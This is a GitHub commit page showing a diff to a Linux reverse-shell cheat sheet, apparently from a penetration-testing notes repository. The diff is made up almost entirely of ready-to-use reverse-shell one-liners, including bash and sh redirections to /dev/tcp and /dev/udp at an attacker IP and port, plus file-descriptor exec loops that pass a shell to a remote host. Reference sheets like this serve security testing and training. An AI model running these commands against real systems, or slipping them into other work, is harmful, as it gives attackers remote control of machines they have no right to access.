Skip to content

Commit

Permalink
GitBook: [master] one page modified
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Dec 1, 2020
1 parent b98b71e commit 92b8715
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion shells/shells/linux.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,13 @@

```bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

### Symbol safe shell

```bash
Expand Down

0 comments on commit 92b8715

Please sign in to comment.